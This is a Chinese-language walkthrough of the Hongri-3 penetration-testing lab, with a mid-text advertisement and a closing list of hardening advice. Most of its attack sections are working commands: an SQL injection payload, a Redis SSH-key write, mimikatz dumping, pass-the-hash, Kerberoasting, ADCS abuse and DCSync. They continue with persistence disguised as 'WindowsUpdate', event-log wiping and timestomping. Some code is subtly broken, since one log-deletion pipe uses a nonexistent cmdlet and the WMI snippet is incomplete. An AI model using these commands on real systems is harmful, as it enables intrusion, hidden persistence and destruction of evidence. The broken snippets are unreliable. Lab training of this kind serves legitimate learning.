1. 靶机渗透训练的价值与红日系列定位
在网络安全领域,靶机渗透训练就像外科医生使用解剖标本练习手术技巧一样重要。红日系列靶机作为国内知名的渗透测试训练环境,其价值主要体现在三个方面:首先,它模拟了真实企业网络中常见的漏洞组合,而非孤立的安全缺陷;其次,其环境拓扑还原了典型的企业网络架构,包含DMZ区、内网域控等关键节点;最后,靶机设计遵循"由浅入深"的难度曲线,红日-3作为该系列的中阶靶机,特别适合已经掌握基础渗透技能、希望提升内网横向移动能力的学习者。
与Vulnhub等国际知名靶机相比,红日系列最大的特点是更贴近国内企业的实际网络环境。例如其Windows系统通常采用中文版操作系统,应用程序也多为国内企业常用的产品版本,这种本土化特征使得训练获得的经验能够直接迁移到实际工作中。我曾参与过多个企业的渗透测试项目,发现红日靶机中遇到的组策略配置、杀软规避等场景,与真实企业环境具有高度相似性。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 红日-3靶机环境搭建与初始配置
2.1 虚拟机环境准备
红日-3靶机通常以OVA格式提供,建议使用VMware Workstation Pro 15+或VirtualBox 6.0+作为运行环境。这里有个容易忽略的关键点:必须确保虚拟机的网络适配器设置为"Host-Only"模式,这是模拟内网渗透的基础。我曾见过有学习者因为保持NAT模式导致始终无法复现某些攻击场景,花费数小时排查才发现是这个基础配置问题。
内存分配建议不少于4GB,特别是当需要同时运行多个攻击机实例时。如果物理机性能有限,可以适当调低图形显存至256MB,因为渗透测试过程中很少需要图形界面操作。磁盘空间方面,解压后的靶机约占用25GB空间,建议预留50GB以上的SSD空间以保证运行流畅。
2.2 网络拓扑理解
红日-3的标准网络拓扑包含三个关键节点:
- Web服务器(通常IP为192.168.52.143):运行着存在漏洞的企业门户网站
- 域控制器(通常IP为192.168.52.138):部署Active Directory服务
- 数据库服务器(通常IP为192.168.52.141):运行MSSQL服务
这种三层架构模拟了中型企业的典型网络划分。在实际操作前,建议先用nmap进行基础扫描确认各主机存活状态。一个专业技巧是使用nmap -sn 192.168.52.0/24先进行主机发现,再针对存活主机进行详细端口扫描,这样可以避免触发不必要的安全告警。
3. 外网渗透突破口挖掘
3.1 Web应用漏洞利用
红日-3的Web应用通常存在多种漏洞组合。以某次实战为例,其登录页面存在SQL注入漏洞,但采用了非常规的过滤机制。常规的' or 1=1--可能被拦截,这时需要尝试编码绕过:
sql复制admin' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables WHERE table_schema='dbo'))--
这种基于错误回显的注入方式在红日-3中特别有效。获取后台权限后,常见的提权路径包括:
- 通过文件上传功能传webshell(注意检查Content-Type验证)
- 利用CMS的模板编辑功能写入恶意代码
- 挖掘后台管理功能的命令执行漏洞
重要提示:红日-3的Web服务器通常部署了基础防护,直接传普通jsp/php马可能被拦截。建议使用冰蝎3.0的Java内存马注入方式,或者尝试混淆的aspx马。
3.2 服务漏洞利用
除Web应用外,红日-3开放的服务端口往往隐藏着更多突破口。通过nmap -sV扫描可能会发现以下典型漏洞:
- SMB服务的MS17-010(永恒之蓝)
- Redis未授权访问
- Tomcat弱口令
以Redis为例,利用未授权访问写ssh公钥的完整命令序列如下:
bash复制ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.52.141 -x set crackit
redis-cli -h 192.168.52.141 config set dir /root/.ssh/
redis-cli -h 192.168.52.141 config set dbfilename "authorized_keys"
redis-cli -h 192.168.52.141 save
这种攻击方式在红日-3环境中成功率很高,但实际企业环境中Redis服务通常不会以root权限运行,这也是靶机与真实环境的区别之一。
4. 内网横向移动技术实践
4.1 凭证获取与哈希传递
获取Web服务器权限后,使用mimikatz抓取内存凭证是内网渗透的关键一步。在红日-3环境中,常见会遇到以下情况:
powershell复制privilege::debug
sekurlsa::logonpasswords
但实际操作中可能会遇到杀软拦截,这时可以采用更隐蔽的方式:
- 使用procdump将lsass进程内存dump到磁盘
- 将dump文件下载到本地分析
- 使用nanodump等工具进行离线提取
获取NTLM哈希后,使用psexec进行哈希传递攻击:
bash复制psexec.py -hashes :<NTLM_hash> administrator@192.168.52.138
红日-3的域环境中,特别设计了基于组策略的权限限制,常规的psexec可能失败。这时需要尝试其他横向移动方式,如WMI执行、计划任务创建等。
4.2 域渗透与权限提升
在获取域用户凭证后,下一步是获取域管理员权限。红日-3环境中常见的攻击路径包括:
- Kerberoasting攻击:
powershell复制Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc.redteam.local"
- ADCS漏洞利用:如果发现证书服务存在配置问题,可以使用Certify工具请求域控证书:
bash复制Certify.exe find /vulnerable
Certify.exe request /ca:dc.redteam.local\CA /template:VulnerableTemplate
- DCSync攻击:获取足够权限后,使用mimikatz直接同步域控哈希:
powershell复制lsadump::dcsync /domain:redteam.local /user:Administrator
在红日-3的后期渗透阶段,通常会遇到日志监控和防御措施。这时需要采用更隐蔽的技术,如基于LDAP的属性修改、黄金票据注入等。我曾在一个实例中发现,直接使用mimikatz会被安全软件阻断,但使用C#重写的mimikatz核心功能却能成功执行。
5. 渗透后的持久化与痕迹清理
5.1 多种持久化技术
在红日-3环境中实现持久化,需要考虑企业网络的实际情况。以下是几种经过验证的有效方法:
- 计划任务持久化:
powershell复制schtasks /create /tn "WindowsUpdate" /tr "C:\shell.exe" /sc minute /mo 30 /ru SYSTEM
- WMI事件订阅:
powershell复制$filterArgs = @{
EventNamespace = 'root\cimv2'
Name = 'WindowsUpdateFilter'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
QueryLanguage = 'WQL'
}
$consumerArgs = @{
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = "C:\shell.exe"
}
- 服务映像劫持:修改注册表中服务的ImagePath值
powershell复制Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SomeService" -Name ImagePath -Value "C:\real.exe C:\shell.exe"
5.2 日志清理技巧
红日-3环境中配置了基本的日志审计,清理时需要注意:
- 使用wevtutil清除特定日志:
powershell复制wevtutil cl security
wevtutil cl system
- 更隐蔽的方法是只删除相关事件:
powershell复制Get-WinEvent -LogName security | Where-Object {$_.Id -eq 4624 -and $_.Properties[5].Value -like "*eviluser*"} | Remove-WinEvent
- 对于文件操作痕迹,使用timestomp修改文件时间属性:
bash复制timestomp file.txt -m "01/01/2020 12:00:00" -a "01/01/2020 12:00:00"
在实际操作中发现,红日-3环境中如果直接清空整个日志,可能会触发异常告警。更稳妥的做法是只修改与攻击活动相关的特定日志条目。
6. 防御视角的思考与改进建议
完成红日-3渗透后,从防御者角度复盘整个攻击路径,可以总结出以下加固建议:
-
网络层防护:
- 启用SMB签名要求
- 限制域管理员登录的源IP范围
- 配置LAPS(本地管理员密码解决方案)
-
主机层防护:
- 安装EDR解决方案并启用行为检测
- 限制高权限账户的LogonType(如拒绝网络登录)
- 启用Windows Defender攻击面减少规则
-
应用层防护:
- 对Web应用实施WAF防护
- 数据库服务使用最小权限账户
- 定期更新中间件补丁
在最近一次红日-3渗透训练中,我们发现即使实施了上述部分防护措施,攻击者仍可能通过0day漏洞或社会工程学突破防线。因此真正的安全需要建立纵深防御体系,而红日-3的价值就在于让安全人员亲身体验攻击者的思考方式,从而设计出更有效的防御策略。
